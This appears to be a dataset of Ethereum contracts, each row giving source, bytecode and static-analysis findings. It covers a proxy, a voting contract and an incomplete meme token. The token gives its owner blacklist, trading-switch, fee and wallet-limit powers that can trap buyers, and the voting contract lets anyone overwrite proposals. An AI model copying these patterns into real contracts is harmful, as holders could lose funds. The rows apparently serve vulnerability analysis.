} | 0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a264697066735822122073c4c21e5c673ed7cd3c216206991b426c7391cadd714e9a2c3f3ee94217be2b64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 365 |
0x94cf4e3dc985bfcc78f40e9420b4bd9888c2c5d5 | //SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
interface ERC20 {
function totalSupply() external view returns (uint _totalSupply);
function balanceOf(address _owner) external view returns (uint balance);
function transfer(address _to, uint _value) external returns (bool success);
function transferFrom(address _from, address _to, uint _value) external returns (bool success);
function approve(address _spender, uint _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint remaining);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
interface IUniswapFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapRouter01 {
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function factory() external pure returns (address);
function WETH() external pure returns (address);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getamountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getamountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getamountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getamountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapRouter02 is IUniswapRouter01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
}
contract smart {
address router_address = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
IUniswapRouter02 router = IUniswapRouter02(router_address);
function create_weth_pair(address token) private returns (address, IUniswapV2Pair) {
address pair_address = IUniswapFactory(router.factory()).createPair(token, router.WETH());
return (pair_address, IUniswapV2Pair(pair_address));
}
function get_weth_reserve(address pair_address) private view returns(uint, uint) {
IUniswapV2Pair pair = IUniswapV2Pair(pair_address);
uint112 token_reserve;
uint112 native_reserve;
uint32 last_timestamp;
(token_reserve, native_reserve, last_timestamp) = pair.getReserves();
return (token_reserve, native_reserve);
}
function get_weth_price_impact(address token, uint amount, bool sell) private view returns(uint) {
address pair_address = IUniswapFactory(router.factory()).getPair(token, router.WETH());
(uint res_token, uint res_weth) = get_weth_reserve(pair_address);
uint impact;
if(sell) {
impact = (amount * 100) / res_token;
} else {
impact = (amount * 100) / res_weth;
}
return impact;
}
}
contract protected {
mapping (address => bool) is_auth;
function authorized(address addy) public view returns(bool) {
return is_auth[addy];
}
function set_authorized(address addy, bool booly) public onlyAuth {
is_auth[addy] = booly;
}
modifier onlyAuth() {
require( is_auth[msg.sender] || msg.sender==owner, "not owner");
_;
}
address owner;
modifier onlyOwner() {
require(msg.sender==owner, "not owner");
_;
}
bool locked;
modifier safe() {
require(!locked, "reentrant");
locked = true;
_;
locked = false;
}
receive() external payable {}
fallback() external payable {}
}
contract squiggles is protected, smart {
struct PROPOSAL {
address proposer;
mapping(address => bool) voted;
bytes32 short_name;
uint side_1_votes;
bytes32 side_1_name;
bytes32 side_1_url;
uint side_2_votes;
bytes32 side_2_name;
bytes32 side_2_url;
bool is_active;
uint start_time;
uint end_time;
string description_url;
}
mapping(bytes32 => PROPOSAL) proposal;
bytes32[] proposals;
bytes32[] proposals_inactive;
constructor() {
owner = msg.sender;
is_auth[owner] = true;
}
function propose(bytes32 name, bytes32 side_1, bytes32 side_2,
bytes32 url_1, bytes32 url_2, string memory url_description) public safe {
proposal[name].proposer = msg.sender;
proposal[name].side_1_name = side_1;
proposal[name].side_2_name = side_2;
proposal[name].side_1_url = url_1;
proposal[name].side_2_url = url_2;
proposal[name].description_url = url_description;
proposals.push(name);
}
function start_propose(bytes32 name) public safe {
require(msg.sender == proposal[name].proposer || is_auth[msg.sender], "403");
proposal[name].is_active = true;
}
function get_description(bytes32 name) public view returns(string memory description) {
return proposal[name].description_url;
}
function get_proposal(bytes32 name) public view returns (bytes32, uint256, bytes32,
bytes32, uint, bytes32,
address) {
return (
proposal[name].side_1_name,
proposal[name].side_1_votes,
proposal[name].side_1_url,
proposal[name].side_2_name,
proposal[name].side_2_votes,
proposal[name].side_2_url,
proposal[name].proposer
);
}
function end_proposal(bytes32 name) public onlyAuth {
proposal[name].is_active = false;
proposals_inactive.push(name);
}
function vote(bytes32 name, uint8 side) public {
require(!proposal[name].voted[msg.sender], "Already voted");
require(side==1 || side==2, "Wrong side");
proposal[name].voted[msg.sender] = true;
if(side==1) {
proposal[name].side_1_votes += 1;
} else {
proposal[name].side_2_votes += 1;
}
}
/******************** Views ********************/
function get_all_proposals() public view returns(bytes32[] memory, bytes32[] memory) {
return(proposals, proposals_inactive);
}
} | 0x6080604052600436106100845760003560e01c8063b916be7111610056578063b916be711461010d578063b918161114610139578063c0c229aa14610182578063c9a28cb9146101af578063ed6a5db5146101cf57005b80632bfe87421461008d5780637486ab98146100ad57806376f79fd8146100cd578063a2f6ef1c146100ed57005b3661008b57005b005b34801561009957600080fd5b5061008b6100a83660046108f0565b61026f565b3480156100b957600080fd5b5061008b6100c8366004610945565b6102ff565b3480156100d957600080fd5b5061008b6100e836600461092c565b6103f3565b3480156100f957600080fd5b5061008b61010836600461092c565b6104e0565b34801561011957600080fd5b5061012261058a565b604051610130929190610a8b565b60405180910390f35b34801561014557600080fd5b506101726101543660046108ce565b6001600160a01b031660009081526020819052604090205460ff1690565b6040519015158152602001610130565b34801561018e57600080fd5b506101a261019d36600461092c565b61063d565b6040516101309190610ab9565b3480156101bb57600080fd5b5061008b6101ca366004610a25565b6106e2565b3480156101db57600080fd5b506102316101ea36600461092c565b60009081526004602081905260409091209081015460038201546005830154600784015460068501546008860154955494969395929491939092916001600160a01b031690565b604080519788526020880196909652948601939093526060850191909152608084015260a08301526001600160a01b031660c082015260e001610130565b3360009081526020819052604090205460ff168061029757506001546001600160a01b031633145b6102d45760405162461bcd60e51b81526020600482015260096024820152683737ba1037bbb732b960b91b60448201526064015b60405180910390fd5b6001600160a01b03919091166000908152602081905260409020805460ff1916911515919091179055565b600154600160a01b900460ff16156103455760405162461bcd60e51b81526020600482015260096024820152681c99595b9d1c985b9d60ba1b60448201526064016102cb565b6001805460ff60a01b1916600160a01b179055600086815260046020818152604090922080546001600160a01b0319163317815590810187905560078101869055600581018590556008810184905582516103a892600c90920191840190610819565b505060058054600181810183556000929092527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db001959095555050825460ff60a01b19169092555050565b600154600160a01b900460ff16156104395760405162461bcd60e51b81526020600482015260096024820152681c99595b9d1c985b9d60ba1b60448201526064016102cb565b6001805460ff60a01b1916600160a01b179055600081815260046020526040902054336001600160a01b03909116148061048257503360009081526020819052604090205460ff165b6104b45760405162461bcd60e51b815260206004820152600360248201526234303360e81b60448201526064016102cb565b6000908152600460205260409020600901805460ff19166001908117909155805460ff60a01b19169055565b3360009081526020819052604090205460ff168061050857506001546001600160a01b031633145b6105405760405162461bcd60e51b81526020600482015260096024820152683737ba1037bbb732b960b91b60448201526064016102cb565b6000818152600460205260408120600901805460ff191690556006805460018101825591527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0155565b60608060056006818054806020026020016040519081016040528092919081815260200182805480156105dc57602002820191906000526020600020905b8154815260200190600101908083116105c8575b505050505091508080548060200260200160405190810160405280929190818152602001828054801561062e57602002820191906000526020600020905b81548152602001906001019080831161061a575b50505050509050915091509091565b6000818152600460205260409020600c0180546060919061065d90610b34565b80601f016020809104026020016040519081016040528092919081815260200182805461068990610b34565b80156106d65780601f106106ab576101008083540402835291602001916106d6565b820191906000526020600020905b8154815290600101906020018083116106b957829003601f168201915b50505050509050919050565b600082815260046020908152604080832033845260010190915290205460ff161561073f5760405162461bcd60e51b815260206004820152600d60248201526c105b1c9958591e481d9bdd1959609a1b60448201526064016102cb565b8060ff166001148061075457508060ff166002145b61078d5760405162461bcd60e51b815260206004820152600a60248201526957726f6e67207369646560b01b60448201526064016102cb565b60008281526004602090815260408083203384526001908101909252909120805460ff19168217905560ff821614156107ed5760008281526004602052604081206003018054600192906107e2908490610b0e565b909155506108159050565b600082815260046020526040812060060180546001929061080f908490610b0e565b90915550505b5050565b82805461082590610b34565b90600052602060002090601f016020900481019282610847576000855561088d565b82601f1061086057805160ff191683800117855561088d565b8280016001018555821561088d579182015b8281111561088d578251825591602001919060010190610872565b5061089992915061089d565b5090565b5b80821115610899576000815560010161089e565b80356001600160a01b03811681146108c957600080fd5b919050565b6000602082840312156108e057600080fd5b6108e9826108b2565b9392505050565b6000806040838503121561090357600080fd5b61090c836108b2565b91506020830135801515811461092157600080fd5b809150509250929050565b60006020828403121561093e57600080fd5b5035919050565b60008060008060008060c0878903121561095e57600080fd5b863595506020870135945060408701359350606087013592506080870135915060a087013567ffffffffffffffff8082111561099957600080fd5b818901915089601f8301126109ad57600080fd5b8135818111156109bf576109bf610b6f565b604051601f8201601f19908116603f011681019083821181831017156109e7576109e7610b6f565b816040528281528c6020848701011115610a0057600080fd5b8260208601602083013760006020848301015280955050505050509295509295509295565b60008060408385031215610a3857600080fd5b82359150602083013560ff8116811461092157600080fd5b600081518084526020808501945080840160005b83811015610a8057815187529582019590820190600101610a64565b509495945050505050565b604081526000610a9e6040830185610a50565b8281036020840152610ab08185610a50565b95945050505050565b600060208083528351808285015260005b81811015610ae657858101830151858201604001528201610aca565b81811115610af8576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610b2f57634e487b7160e01b600052601160045260246000fd5b500190565b600181811c90821680610b4857607f821691505b60208210811415610b6957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fdfea2646970667358221220608bbd9b91e354f486dcdf392c9b3951033e3c9744f43e9df9968efed6baf2d564736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 366 |
0xb7fd36f9be14920484ca4f096b5f560978d6ffea | //Telegram - https://t.me/CheemsElona
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract CHEEMSELONA is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "CheemsElona";
string private constant _symbol = "CHELONA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 8;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 8;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xfff76b3525bC2A1688481221b02b1a30a5946d9c);
address payable private _marketingAddress = payable(0xfff76b3525bC2A1688481221b02b1a30a5946d9c);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 20000000000 * 10**9;
uint256 public _maxWalletSize = 40000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 5000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
